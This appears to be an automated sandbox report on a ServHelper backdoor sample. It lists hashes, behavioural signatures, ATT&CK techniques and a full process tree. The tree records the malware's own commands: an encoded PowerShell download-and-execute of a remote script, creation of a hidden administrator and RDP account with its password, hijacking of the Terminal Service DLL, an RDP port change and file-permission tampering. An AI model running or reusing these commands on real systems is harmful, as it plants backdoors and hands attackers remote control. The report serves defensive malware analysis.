servhelper | cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

Analysis

max time kernel
129s
max time network
155s
platform
windows7_x64
resource
win7-en-20211014
submitted
26-10-2021 19:42

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General

Target

63151e4f7c3972f18a23c0e9996e14ef.exe
Size

5.7MB
MD5

63151e4f7c3972f18a23c0e9996e14ef
SHA1

5d041fde6433a8ff8fc78a69fca1fd4630e3f270
SHA256

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
SHA512

f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	752	powershell.exe
6	752	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid	Process
852	icacls.exe
1164	icacls.exe
280	icacls.exe
1704	icacls.exe
928	icacls.exe
1540	icacls.exe
920	icacls.exe
832	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x0009000000012644-132.dat	upx
behavioral1/files/0x001600000000f5e9-133.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
1528
1528

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1540	icacls.exe
920	icacls.exe
832	takeown.exe
852	icacls.exe
1164	icacls.exe
280	icacls.exe
1704	icacls.exe
928	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6QJHUUGF0LJQPBCQ22MB.temp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50c0a60cb3cad701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1344	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1380	powershell.exe
1352	powershell.exe
1052	powershell.exe
1936	powershell.exe
1380	powershell.exe
1380	powershell.exe
1380	powershell.exe
752	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid	Process
464
1528
1528
1528

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeRestorePrivilege	1164	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeAuditPrivilege	1728	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeAuditPrivilege	1728	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeAuditPrivilege	1260	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1260	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1260	WMIC.exe
Token: SeAuditPrivilege	1260	WMIC.exe
Token: SeDebugPrivilege	752	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

63151e4f7c3972f18a23c0e9996e14ef.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 320 wrote to memory of 1380	320	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 320 wrote to memory of 1380	320	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 320 wrote to memory of 1380	320	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 1380 wrote to memory of 1236	1380	powershell.exe	31
PID 1380 wrote to memory of 1236	1380	powershell.exe	31
PID 1380 wrote to memory of 1236	1380	powershell.exe	31
PID 1236 wrote to memory of 932	1236	csc.exe	32
PID 1236 wrote to memory of 932	1236	csc.exe	32
PID 1236 wrote to memory of 932	1236	csc.exe	32
PID 1380 wrote to memory of 1352	1380	powershell.exe	33
PID 1380 wrote to memory of 1352	1380	powershell.exe	33
PID 1380 wrote to memory of 1352	1380	powershell.exe	33
PID 1380 wrote to memory of 1052	1380	powershell.exe	35
PID 1380 wrote to memory of 1052	1380	powershell.exe	35
PID 1380 wrote to memory of 1052	1380	powershell.exe	35
PID 1380 wrote to memory of 1936	1380	powershell.exe	38
PID 1380 wrote to memory of 1936	1380	powershell.exe	38
PID 1380 wrote to memory of 1936	1380	powershell.exe	38
PID 1380 wrote to memory of 832	1380	powershell.exe	39
PID 1380 wrote to memory of 832	1380	powershell.exe	39
PID 1380 wrote to memory of 832	1380	powershell.exe	39
PID 1380 wrote to memory of 852	1380	powershell.exe	40
PID 1380 wrote to memory of 852	1380	powershell.exe	40
PID 1380 wrote to memory of 852	1380	powershell.exe	40
PID 1380 wrote to memory of 1164	1380	powershell.exe	41
PID 1380 wrote to memory of 1164	1380	powershell.exe	41
PID 1380 wrote to memory of 1164	1380	powershell.exe	41
PID 1380 wrote to memory of 280	1380	powershell.exe	42
PID 1380 wrote to memory of 280	1380	powershell.exe	42
PID 1380 wrote to memory of 280	1380	powershell.exe	42
PID 1380 wrote to memory of 1704	1380	powershell.exe	43
PID 1380 wrote to memory of 1704	1380	powershell.exe	43
PID 1380 wrote to memory of 1704	1380	powershell.exe	43
PID 1380 wrote to memory of 928	1380	powershell.exe	44
PID 1380 wrote to memory of 928	1380	powershell.exe	44
PID 1380 wrote to memory of 928	1380	powershell.exe	44
PID 1380 wrote to memory of 1540	1380	powershell.exe	45
PID 1380 wrote to memory of 1540	1380	powershell.exe	45
PID 1380 wrote to memory of 1540	1380	powershell.exe	45
PID 1380 wrote to memory of 920	1380	powershell.exe	46
PID 1380 wrote to memory of 920	1380	powershell.exe	46
PID 1380 wrote to memory of 920	1380	powershell.exe	46
PID 1380 wrote to memory of 2040	1380	powershell.exe	47
PID 1380 wrote to memory of 2040	1380	powershell.exe	47
PID 1380 wrote to memory of 2040	1380	powershell.exe	47
PID 1380 wrote to memory of 1344	1380	powershell.exe	48
PID 1380 wrote to memory of 1344	1380	powershell.exe	48
PID 1380 wrote to memory of 1344	1380	powershell.exe	48
PID 1380 wrote to memory of 912	1380	powershell.exe	49
PID 1380 wrote to memory of 912	1380	powershell.exe	49
PID 1380 wrote to memory of 912	1380	powershell.exe	49
PID 1380 wrote to memory of 884	1380	powershell.exe	50
PID 1380 wrote to memory of 884	1380	powershell.exe	50
PID 1380 wrote to memory of 884	1380	powershell.exe	50
PID 884 wrote to memory of 2004	884	net.exe	51
PID 884 wrote to memory of 2004	884	net.exe	51
PID 884 wrote to memory of 2004	884	net.exe	51
PID 1380 wrote to memory of 1196	1380	powershell.exe	52
PID 1380 wrote to memory of 1196	1380	powershell.exe	52
PID 1380 wrote to memory of 1196	1380	powershell.exe	52
PID 1196 wrote to memory of 1056	1196	cmd.exe	53
PID 1196 wrote to memory of 1056	1196	cmd.exe	53
PID 1196 wrote to memory of 1056	1196	cmd.exe	53
PID 1056 wrote to memory of 1908	1056	cmd.exe	54

C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
"C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\8hqdyt_5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5561.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5560.tmp"
      4⤵
      PID:932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:832
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:852
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:280
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1704
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:928
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1540
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:920
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2040
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1344
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:912
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2004
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1056
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1908
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1852
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1476
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1684
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1320
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1928
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1136
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1540

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:968
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:852

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EgHGTUmT /add
1⤵
PID:1916
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EgHGTUmT /add
  2⤵
  PID:860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT /add
    3⤵
    PID:1704

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1260
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:800

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
1⤵
PID:1396
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
  2⤵
  PID:912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
    3⤵
    PID:1192

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:884
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1056

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EgHGTUmT
1⤵
PID:1500
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EgHGTUmT
  2⤵
  PID:1488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT
    3⤵
    PID:996

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1952
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1728

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1260

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:112
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8hqdyt_5.dll

MD5
91ecb2ff45e9dadb2a943546ebbc9ee5

SHA1
9b57c83e9615413b20c928de3c83dc6d615e6fec

SHA256
fb80f72cc852929dbb27ae29a860215870aaa77496e54289e3c0f4c6fb29de67

SHA512
5e7a8d929314fd9b74a485f4c6be16d6524156979f0fcb27f48deaf094b02e32e5f7c2c7a569e45a45a64535aa30cca21b91a90031c832d01c99d9da0da8d6d1

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C:\Users\Admin\AppData\Local\Temp\8hqdyt_5.pdb

MD5
43206213b9bada9b8b0b1c9845adcd86

SHA1
f39f47443abc6a3958f725c954c6347606aafa30

SHA256
ae484619a62194e61e6be9986706f99b44e4130d3890424c3f6e62f98105793c

SHA512
2cacde509520ffded66b73c940b7f38bc8f95aa269dff94c79f390bebd6662dd5071832b18e43f2a2085dcff26ae862b88a75b40fecf11b49b59e744c14a1b38

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5561.tmp

MD5
8372c45fb25ec067b4d0ff201b365541

SHA1
73cb2a480ea175a03f4b831feb8a9cccbb07d3c1

SHA256
b41870f91f7f76fcf0cb49df7cacaed6635a848f6edf28a3acdd5dd6939a9fd1

SHA512
5dac1d1c9d75678c2608c0b8f1888c730a0ed2b0623fd1d74110023ed6ab8918c008cc12af2bc63662a53de4b82ca67d40e0390d87755e713364fba53e850c55

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
5cb4c704cc71a2abe296375855d23872

SHA1
064c4d5e920a811ffa774f0094af1ccf1d272ac9

SHA256
8b62d71472832bb098d00052b9006d478e680a2a5c8248c30ab4fb60f2bd52b4

SHA512
ac55b1b06545454f4b672a466c67e13bbcde5fe392a9085e4d45ea44fcae11d544a5170cf4bdc3a3b652e4e63afcb8b92a2bae4509811616a70d2aba6233efc9

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
5cb4c704cc71a2abe296375855d23872

SHA1
064c4d5e920a811ffa774f0094af1ccf1d272ac9

SHA256
8b62d71472832bb098d00052b9006d478e680a2a5c8248c30ab4fb60f2bd52b4

SHA512
ac55b1b06545454f4b672a466c67e13bbcde5fe392a9085e4d45ea44fcae11d544a5170cf4bdc3a3b652e4e63afcb8b92a2bae4509811616a70d2aba6233efc9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
5cb4c704cc71a2abe296375855d23872

SHA1
064c4d5e920a811ffa774f0094af1ccf1d272ac9

SHA256
8b62d71472832bb098d00052b9006d478e680a2a5c8248c30ab4fb60f2bd52b4

SHA512
ac55b1b06545454f4b672a466c67e13bbcde5fe392a9085e4d45ea44fcae11d544a5170cf4bdc3a3b652e4e63afcb8b92a2bae4509811616a70d2aba6233efc9

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\8hqdyt_5.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\8hqdyt_5.cmdline

MD5
c8e92f97f9382e4fc160ab3b65b3e041

SHA1
8a3dc82a4c7240ee1a9c54481f9b7c636ca8fe7f

SHA256
8d44fac77a769d0e898c61f7ef8cb6e965f8724ab7077119902c283ba963ca00

SHA512
35f0fdff3e39dc7356c88aa2efc9cb1534d49f48037b2626d8b559aee5b1ea7d0eb87a9a43a0d3e82179d3ef22683e901d54d61697b12f71d1fd0f332e8e6807

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC5560.tmp

MD5
c4ab139937337982e4c147c81b1d55a6

SHA1
37652e62385af832c63fe897d476a6365099eba1

SHA256
9515cfc1843911fa2ceee545234b248e6d37e12a1c256675d339a63d3864a5af

SHA512
0d3778dfd9e1ee448613c9a463a9e4e76a9ce0eb0784e031a612ff940868196e95513d2cf45f73c6cb5f0db22c84011983fe9d64a56fd226ed64a791b299bbf1

Download Submit
\Windows\Branding\mediasrv.png

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
728b140e68dcb6751cccb4d1046ac61f63e8db13d4f613b44e161d457f107acc11b3275167c7b4dff34a6d5966116ecb062f94713d0cf4f35b327d14ec7cbd13

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memory/280-114-0x0000000000000000-mapping.dmp

Download
memory/320-55-0x0000000041510000-0x000000004190F000-memory.dmp

Filesize
4.0MB

Download
memory/320-59-0x00000000281B6000-0x00000000281B7000-memory.dmp

Filesize
4KB

Download
memory/320-57-0x00000000281B2000-0x00000000281B4000-memory.dmp

Filesize
8KB

Download
memory/320-58-0x00000000281B4000-0x00000000281B6000-memory.dmp

Filesize
8KB

Download
memory/320-60-0x00000000281B7000-0x00000000281B8000-memory.dmp

Filesize
4KB

Download
memory/752-153-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

Filesize
11.4MB

Download
memory/752-154-0x0000000000D90000-0x0000000000D92000-memory.dmp

Filesize
8KB

Download
memory/752-155-0x0000000000D92000-0x0000000000D94000-memory.dmp

Filesize
8KB

Download
memory/752-150-0x0000000000000000-mapping.dmp

Download
memory/752-156-0x0000000000D94000-0x0000000000D97000-memory.dmp

Filesize
12KB

Download
memory/752-157-0x0000000000D9B000-0x0000000000DBA000-memory.dmp

Filesize
124KB

Download
memory/756-142-0x0000000000000000-mapping.dmp

Download
memory/800-139-0x0000000000000000-mapping.dmp

Download
memory/832-134-0x0000000000000000-mapping.dmp

Download
